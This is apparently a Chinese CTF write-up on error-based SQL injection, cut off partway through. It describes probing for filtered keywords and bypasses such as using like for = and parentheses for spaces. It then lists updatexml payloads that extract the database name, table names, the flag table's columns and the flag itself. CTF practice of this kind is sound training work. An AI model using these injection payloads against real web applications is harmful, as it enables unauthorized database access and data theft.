题记:
这几天最崩溃的,鼓捣了两个小时,从正确答案到绕过所有终止符,从托库出数据表数据字段到non-numeric,闹混了头。以此为戒切勿钻牛角尖。
一、报错注入
题目:
思路:
很明显,本题是报错注入,注意被绕过的关键词就可以
步骤一:试探
首先是随意提交个用户名和密码,发现是get传参,尝试测试几个关键词,如‘ “ 空格 = + - )等,以及select、union、or、information等
没有屏蔽且符合报错注入判断标准的如上图
被屏蔽的关键词如上图
因此可以测试出来,本题为单引号注入,且空格、union、=等均被屏蔽
小技巧: =可以改为like;空格改为()
步骤二:传链接
小笔记by老师
//数据库
username=a"^updatexml(1,concat(0x7e,(database()),0x7e),1)#&password=a&email=admin
//表名
username=a"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#&password=a&email=admin
//flag的列名
username=a"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#&password=a&email=a
//取数
username=a"^updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#&password=a&email=a
//user的列名
username=a"^updatexml(1,concat(0x7e,(select(group_concat(column_